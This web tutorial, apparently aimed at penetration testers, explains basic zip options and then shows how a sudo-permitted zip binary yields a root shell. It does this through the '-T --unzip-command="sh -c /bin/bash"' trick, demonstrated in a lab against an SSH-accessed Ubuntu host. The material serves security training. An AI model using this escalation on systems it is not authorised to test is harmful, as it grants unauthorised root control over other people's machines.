TUTORIAL

Linux for Pentester : ZIP Privilege Escalation

0

SHARES

Share on Facebook Share on Twitter

JUNE 7, 2019 0

Today We are going to tell you that how can we perform Privilege Escalation with Zip command. As we all know that Zip is an easy platform-based file packaging and compression utilities for Unix-like systems like Linux, Windows, etc. The Zip program is used for compressing and packaging documents.

Table of Content

Introduction to ZIP

Zip is helpful for packaging a number of distribution files, archiving files, and disk storage by compressing unused files or directories momentarily. You can pack a whole directory structure into a single command zip archive. For text files, 2:1 to 3:1 compression ratio is commonplace. But that's not all. What else we can do with the Zip command. Let's think out of the box. Now we are doing something creative which might have not tried before; that is, we are trying Privilege Escalation with Zip command. Let's understand how. In order to perform this first, we will tell you what a Zip command does in Linux. So, let's start.

Major Operations Performed Using ZIP command

First, we will run **zip -h** command which means help; it tells you about all the options available in zip command as shown in the picture below.

```
<br />
zip -h
```

```
zip –h
```

So, our first step is to make a directory. We will first create a directory by the name Ignite and then I will create some text files into this by using touch command.

As you can see, we have created three text files by the name of *file1.txt, file2.txt, file3.txt* in this folder Ignite. Now we will zip **file1**.txt and **file3.txt** and give this file a name zip **file.zip** followed by the file names.

After this step, we will use **ls -la** command to check the list of the files.

Delete with -d option

-d option – It deletes the file from the zip file. You can delete a file from the archive with the **-d** option after generating a **zip** file as we did with **file3.txt**. We are using -d command to delete **file3**.txt from the zip file. So first we will specify the zip file name from where we want to delete the file.

```
<br />
zip -d file.zip file3.txt
```

```
zip –d file.zip file3.txt
```

Update with -u option

so, you will notice that file3.txt is deleted from the file.zip. Now we want to update the zip file and add a text file directly into the zip file. So, we will use -u option

```
<br />
zip -u file.zip file2.txt
```

```
zip –u file.zip file2.txt
```

by using the above command, you will notice that file2.txt is directly added into the zip file. i.e. file.zip

Move Multiple files with -m option

Now we will first create files of different extensions in our named **Ignite**. As you can see that we have created two files of **txt**, two files of **pdf** extension and two files of **jpg** extensions. So, we have files with different extensions. In order to move files of different extensions in a zip file then we need to use **-m** option. Here you can see that we are using -m option to move all text files in zip file. So, we will run the following command-

```
<br />
zip -m 1.zip *.txt
```

```
zip –m 1.zip *.txt
```

As we can check through **ls -la** that all are text files has been moved into a zip file and as well as all the text files are deleted from their original destination; which reflects that we have performed it successfully. So, we are now trying this on **pdf** and **jpg** files as well to move them in a **1.zip zip file.**

Execute system command using zip

You might have not thought of what else we can do with zip command. We can run any Linux command with the zip file as we are going to do. First, we will make one txt file with touch command as we have done above. The file named raj.txt is created. Now we are trying to execute any Linux command through zip command. Run the following command along with zip file and we will get the output.

```
<br />
zip 1.zip raj.txt -T –unzip-command=”sh -c ifconfig”
```

```
zip 1.zip raj.txt –T —unzip–command=“sh -c ifconfig”
```

As you can see that we have executed the system command through zip command.

Exploiting Zip

Sudo Rights Lab setups for Privilege Escalation

The behaviour of zip gets changed when running with higher privilege. Let's suppose the system admin had given sudo permission to the local user to run zip. This is can be led to privilege escalation once the system is compromised. So here we are going to put **test** user in the **sudoers** file so that **test** user has root the privileges to run zip command as sudo user.

Now imagine can we have Privilege shell of victim's pc by exploiting zip program. It's very difficult to even think of but very easy to perform. So, let's do that. First, go to **kali's** terminal and connect ubuntu with **ssh** as we have done in below-

```
<br />
ssh test@192.168.1.108
```

```
ssh test@192.168.1.108
```

Well-done. We have connected through **ssh** successfully.

Now we will run **sudo -l** command to check the list the entries of sudo files which are a member of the sudoers file. In the list, we can see that test is a member of the sudoers file and can run the zip program with root privilege.

Let's exploit!!

Now first we will create a file with **touch** command as we have created a file **raj.txt** and now we will compress the raj.txt and through zip file, we are taking a shell. So that we will run the following command-

```
<br />
sudo zip 1.zip raj.txt -T –unzip-command=”sh -c /bin/bash”
```

```
sudo zip 1.zip raj.txt –T —unzip–command=“sh -c /bin/bash”
```

Now we can see that we have successfully taken the shell of the victim's machine through **zip** command.

Author: Geet Madan is a Certified Ethical Hacker, Researcher and Technical Writer at Hacking Articles on Information Security**.** Contact **here**

TAGS:

#Privilege Escalation

‹ Security Basics for the Novice Online Traders

› National Censorship: Pros and Cons

Related Articles

- Linux for Pentester: ed Privilege Escalation - JULY 14, 2019
- Linux for Pentester: sed Privilege Escalation - JULY 12, 2019
- Linux for Pentester: pip Privilege Escalation - JULY 8, 2019
- Linux for Pentester: git Privilege Escalation - JULY 7, 2019
- Linux for Pentester: cp Privilege Escalation - JULY 1, 2019

You Might Also Like

DECEMBER 5, 2016

How to Perform Open Port Scanning and OS Detection Using Nmap

TUTORIAL

AUGUST 17, 2018

Windows Privilege Escalation (Unquoted Path Service)

TUTORIAL

DECEMBER 10, 2012

Exploting Windws 7 PC using Maxthon3 about:history XCS Trusted Zone Code Execution

TUTORIAL

APRIL 13, 2012

How to Blue Screen Death Attack on Windows XP PC in LAN

Leave a Reply

You must be logged in to post a comment.

WHAT'S HOT RANDOM STUFF

TECH

APRIL 25, 2019 0

Avengers Endgame Leaked Online By Tamilrockers #DontSpoilTheEndgame

JUNE 14, 2019 0

VULNERABILITIES

Adobe June Patch Tuesday Addressed Critical Security Vulnerabilities In ColdFusion, Campaign And Flash

APRIL 24, 2019 0

SECURITY

Iranian Ride-Hailing App Exposed Drivers' Information Via Unsecured Database

MAY 23, 2019 0

TECH

League Of Legends Is Reportedly Coming To Android & iOS Devices Soon

MAY 13, 2019 0

TECH

Linux-powered LattePanda And Nvidia GTX 1650 Make A Perfect Match

MAY 8, 2019 0

Turla APT Hackers Attack Microsoft Exchange Server using Powerful Malware to Spying on Emails

JULY 3, 2019 0

TUTORIAL

Phishing in 2019 – Still Working After All These Years

MAY 4, 2019 0

NEWS

Citrix Data Breach Compromised Information of Present And Ex-Employees Of The Firm

MAY 17, 2019 💬 0

TECH

Programmers Aren’t Super Excited About Working At Facebook Anymore

MAY 23, 2019 💬 0

TECH

Apple Promises To Inform Users Before Throttling iPhone Performance

POPULAR ARTICLES

This week / This month / Last month

JULY 18, 2019 💬 0

01 / iPhone Loyalty Touches Its Lowest Since 2011: Report

JANUARY 2, 2012 💬 0

02 / Find who is Invisible on Yahoo messenger

JANUARY 3, 2012 💬 0

03 / How to Secure Yourself from Hackers

JANUARY 5, 2012 💬 0

04 / How To Download and Use All Cydia Paid Apps For Free:Tutorial

JANUARY 6, 2012 💬 0

05 / How to Install Kindle Fire’s Silk Browser on Android [Tutorial]

LINKS

INTRO

SITEMAP

About Us

Privacy Policy

Contact Us

SUBSCRIBE!

Subscribe to our email newsletter for useful tips and valuable resources, sent out every second Tuesday.

We Don't Spam!

Enter you Submit

HackIn.Co is providing their readers with (beginner) hacking tutorials about ethical hacking and penetration testing with Kali Linux, Windows and other operating systems. We are teaching teach home and office users about information security, ethical hacking, penetration testing and security in general and increasing security awareness.

Top